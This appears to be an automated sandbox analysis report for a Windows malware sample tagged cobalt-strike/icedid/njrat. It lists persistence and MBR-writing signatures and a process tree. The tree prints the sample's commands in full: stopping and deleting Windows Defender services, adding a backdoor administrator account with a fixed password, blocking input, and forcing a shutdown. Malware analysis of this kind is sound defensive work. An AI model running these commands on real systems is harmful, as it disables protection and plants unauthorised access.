Analysis

  • max time kernel
    16s
  • max time network
    19s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/08/2026, 20:10

Errors

Reason
Machine shutdown

General

  • Target
    2026-08-20_a671197b616c5b910a687d6419095094_cobalt-strike_icedid_njrat_satacom.exe
  • Size 156KB
  • Sample260820-yx4dmsfe98
  • SHA256 309243a952c938f5695ab537889e49a3d1f8c1759522fe6fbfa0c951471ce34b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Drops file in Drivers directory 2 IoCs
  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Creates a new local user account 1 TTPs 2 IoCs

    Uses net.exe to create a new local user account, often for persistence or a backdoor account.

  • Drops file in System32 directory 4 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • Modifies data under HKEY_USERS 4 IoCs
  • Runs net.exe
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-20_a671197b616c5b910a687d6419095094_cobalt-strike_icedid_njrat_satacom.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-20_a671197b616c5b910a687d6419095094_cobalt-strike_icedid_njrat_satacom.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Modifies Windows Defender DisableAntiSpyware settings
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Writes to the Master Boot Record (MBR)
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:2692
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      2⤵
      • Executes a command shell one-liner
      PID:2880
    • C:\Windows\SYSTEM32\sc.exe
      sc stop WinDefend > nul 2>&1
      2⤵
      • Launches sc.exe
      PID:4612
    • C:\Windows\SYSTEM32\sc.exe
      sc delete WinDefend > nul 2>&1
      2⤵
      • Launches sc.exe
      PID:1728
    • C:\Windows\SYSTEM32\sc.exe
      sc stop WdNisSvc > nul 2>&1
      2⤵
      • Launches sc.exe
      PID:5080
    • C:\Windows\SYSTEM32\sc.exe
      sc delete WdNisSvc > nul 2>&1
      2⤵
      • Launches sc.exe
      PID:2124
    • C:\Windows\SYSTEM32\net.exe
      net user SupportAdmin P@ssw0rd! /add > nul 2>&1
      2⤵
      • Creates a new local user account
      • Suspicious use of WriteProcessMemory
      PID:256
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 user SupportAdmin P@ssw0rd! /add > nul 2>&1
        3⤵
        • Creates a new local user account
        PID:6048
    • C:\Windows\SYSTEM32\net.exe
      net localgroup Administrators SupportAdmin /add > nul 2>&1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:252
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 localgroup Administrators SupportAdmin /add > nul 2>&1
        3⤵
          PID:4712
      • C:\Windows\SYSTEM32\rundll32.exe
        rundll32.exe user32.dll,BlockInput 1 > nul 2>&1
        2⤵
          PID:124
        • C:\Windows\SYSTEM32\shutdown.exe
          shutdown /s /f /t 0
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:5288
      • C:\Windows\system32\LogonUI.exe
        "LogonUI.exe" /flags:0x4 /state0:0xa3a2a855 /state1:0x41c64e6d
        1⤵
        • Modifies data under HKEY_USERS
        • Suspicious use of SetWindowsHookEx
        PID:5992
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k GPSvcGroup
        1⤵
          PID:3484
        • C:\Windows\System32\svchost.exe
          C:\Windows\System32\svchost.exe -k CameraMonitor
          1⤵
            PID:2540

          Network

                MITRE ATT&CK Enterprise v16

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